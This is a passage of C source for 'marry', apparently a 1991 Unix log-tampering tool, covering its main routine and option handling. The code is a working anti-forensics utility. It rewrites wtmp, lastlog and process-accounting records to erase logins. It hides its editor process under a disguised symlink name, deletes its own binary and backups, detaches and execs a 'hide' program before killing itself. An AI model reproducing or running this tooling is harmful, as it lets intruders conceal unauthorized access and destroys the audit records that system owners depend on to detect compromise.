  988.                                         fprintf(stderr, "warning: the + operator can have \
  989. unpredictable effects when used in conbination with -e and -s\n");
  990.                                 else
  991.                                 {
  992.                                         fprintf(stderr, "error: + operator used with -e\n");
  993.                                         exit(1);
  994.                                 }
  995.                         }
  996.                         f_mod=2;
  997.                         p++;
  998.                         break;
  999.                 default: {f_mod=0; break;}
  1000.                 }
  1001.                 if (sscanf(p, "%x", &uline)!=1)
  1002.                 {
  1003.                         perror("invalid line number in ascii input");
  1004.                         exit(1);
  1005.                 }
  1006.                 uline++;
  1007.                 if (!obj_update(uline, p, f_mod))
  1008.                 {
  1009.                         perror("read/write failed");
  1010.                         exit(1);
  1011.                 }
  1012.         }
  1013. closeup:
  1014.         display_end();
  1015.         fclose(ofh);
  1016.         fclose(ifh);
  1017.         fclose(afh);
  1018. }
  1019.  
  1020. FVOID usage(s)
  1021. char *s;
  1022. {
  1023.         fprintf(stderr, "usage: %s\t[-aetsuScDn] [-i src] [-o obj] [-d dump] [-p pat] [-v pat] [-m [WLA]]\n\
  1024. \t\t[-E editor] [-h program]\n", s);
  1025.         exit(1);
  1026. }
  1027.  
  1028. int main(argc, argv)
  1029. int argc;
  1030. char **argv;
  1031. {
  1032.         char *ed;
  1033.         char c;
  1034. #ifdef PACCT
  1035.         mode='A';
  1036. #endif
  1037. #ifdef LASTLOG
  1038.         mode='L';
  1039. #endif
  1040. #ifdef UTMP
  1041.         mode='W';
  1042. #endif
  1043.  
  1044.         puts("marry v1.0 (c) 1991 -- Proff -- All rights reserved.");
  1045.         umask(022);
  1046.         while ((c=getopt(argc, argv, "i:o:d:aetsp:v:m:uScDnE:h:b:"))!=-1)
  1047.         switch(c)
  1048.         {
  1049.                 case 'i':
  1050.                         a_Input=optarg;
  1051.                         break;
  1052.                 case 'o':
  1053.                         a_Output=optarg;
  1054.                         break;
  1055.                 case 'd':
  1056.                         a_Dump=optarg;
  1057.                         break;
  1058.                 case 'a':
  1059.                         f_Auto=1;
  1060.                         break;
  1061.                 case 'e':
  1062.                         f_EditSrc=1;
  1063.                         break;
  1064.                 case 't':
  1065.                         f_Truncate=1;
  1066.                         break;
  1067.                 case 's':
  1068.                         f_Squeeze=1;
  1069.                         break;
  1070.                 case 'p':
  1071.                         a_Pattern=optarg;
  1072.                         break;
  1073.                 case 'v':
  1074.                         f_Exclude=1;
  1075.                         a_Pattern=optarg;
  1076.                         break;
  1077.                 case 'm':
  1078.                         mode=*optarg;
  1079.                         break;
  1080.                 case 'u':
  1081.                         f_Uid=1;
  1082.                         break;
  1083.                 case 'S':
  1084.                         f_Security=1;
  1085.                         break;
  1086.                 case 'c':
  1087.                         f_Clean=1;
  1088.                         break;
  1089.                 case 'D':
  1090.                         f_DeleteSelf=1;
  1091.                         break;
  1092.                 case 'n':
  1093.                         f_NoBackups=1;
  1094.                         break;
  1095.                 case 'E':
  1096.                         a_Editor=optarg;
  1097.                         break;
  1098.                 case 'h':
  1099.                         a_Hide=optarg;
  1100.                         break;
  1101.                 case 'b':
  1102.                         a_Backup=optarg;
  1103.                         break;
  1104.                 case '?':
  1105.                 default:
  1106.                         fprintf(stderr, "%s: unknown option `%c'\n", argv[0], c);
  1107.                         usage(argv[0]);
  1108.                         /* NOT_REACHED */
  1109.         }
  1110.         if (a_Output && f_EditSrc)
  1111.         {
  1112.                 perror("can't have -o and -e together");
  1113.                 exit(1);
  1114.         }
  1115.         switch(mode)
  1116.         {
  1117. #ifdef UTMP
  1118.         case 'W':
  1119.                 mode_size=sizeof(struct S_UTMP);
  1120.                 mode_data=&s_utmp;
  1121.                 if (!a_Input) a_Input=WTMP_FILE;
  1122.                 break;
  1123. #endif
  1124. #ifdef LASTLOG
  1125.         case 'L':
  1126.                 mode_size=sizeof(struct lastlog);
  1127.                 mode_data=&s_lastlog;
  1128.                 if (!a_Input) a_Input=LASTLOG_FILE;
  1129.                 break;
  1130. #endif
  1131. #ifdef PACCT
  1132.         case 'A':
  1133.                 mode_size=sizeof(struct acct);
  1134.                 mode_data=&s_acct;
  1135.                 if (!a_Input) a_Input=PACCT_FILE;
  1136.                 break;
  1137. #endif
  1138.         default:
  1139.                 fprintf(stderr, "unknown mode `%c'\n", mode);
  1140.                 usage();
  1141.                 /*NOT_REACHED*/
  1142.         }
  1143.         if (a_Pattern) uid=getpwnam(a_Pattern);
  1144.         if (uid) {uid_s=*uid; uid=&uid_s;}
  1145.         if (f_Auto)
  1146.         {
  1147.         struct stat st1, st2;
  1148.         int pid;
  1149.         int ws;
  1150.                 if (stat(a_Editor, &st1))
  1151.                 {
  1152.                         fprintf(stderr, "error: editor `%s' must exist with -a (check -E value)\n", a_Editor);
  1153.                         exit(1);
  1154.                 }
  1155.                 makedump();
  1156.                 if (f_Security)
  1157.                 {
  1158.                         sprintf(ac_comm_hide, "m%d", getpid());
  1159.                         symlink(a_Editor, ac_comm_hide);
  1160.                         ed=ac_comm_hide;
  1161.                 } else  ed=a_Editor;
  1162.  
  1163.                 stat(a_Dump, &st1);
  1164.                 if (!(pid=fork()))
  1165.                 {
  1166.                         printf("%s %s\n", ed, a_Dump);
  1167.                         fflush(stdout);
  1168.                         execlp(ed, ed, a_Dump, 0);
  1169.                         perror(ed);
  1170.                         _exit(1);
  1171.                 }
  1172.                 if (pid<0)
  1173.                 {
  1174.                         perror("fork");
  1175.                         exit(1);
  1176.                 }
  1177.                 while (wait(&ws)!=pid);
  1178.                 if (f_Security)
  1179.                         unlink(ac_comm_hide);
  1180.                 stat(a_Dump, &st2);
  1181.                 if (st1.st_mtime==st2.st_mtime)
  1182.                 {
  1183.                         fprintf(stderr, "`%s' not modified -- aborted\n", a_Dump);
  1184.                         exit(1);
  1185.                 }
  1186.                 if (!a_Output || !strcmp(a_Input, a_Output))
  1187.                 {
  1188.                         backup(a_Input);
  1189.                         f_backedup=1;
  1190.                         if (!a_Output) a_Output=a_Input;
  1191.                         if (!f_EditSrc)
  1192.                                 a_Input=a_Backup;
  1193.                 }
  1194.                 makeobject();
  1195.                 if (f_Clean)
  1196.                         unlink(a_Dump);
  1197.                 if ((f_Clean || f_NoBackups) && f_backedup) unlink(a_Backup);
  1198.         }
  1199.         else if (a_Output)
  1200.                 {
  1201.                         if (!strcmp(a_Input, a_Output))
  1202.                         {
  1203.                                 backup(a_Input);
  1204.                                 f_backedup=1;
  1205.                                 if (!f_EditSrc)
  1206.                                         a_Input=a_Backup;
  1207.                         }
  1208.                         makeobject();
  1209.                         if (f_Clean)
  1210.                                 unlink(a_Dump);
  1211.                         if ((f_Clean || f_NoBackups) && f_backedup) unlink(a_Backup);
  1212.                 } else
  1213.                         makedump();
  1214.         if (f_DeleteSelf) unlink(argv[0]);
  1215.         puts("Done.");
  1216.         if (f_Security)
  1217.         {
  1218.                 close(0);
  1219.                 close(1);
  1220.                 close(2);
  1221.                 setsid();
  1222.                 if (a_Hide)
  1223.                 {
  1224.                         execlp(a_Hide, a_Hide, 0);
  1225.                         perror(a_Hide);
  1226.                 }
  1227.                 if (f_Security)
  1228.                         kill(getpid(), SIGKILL);
  1229.         }
  1230.         exit(0);
  1231. }
  1232.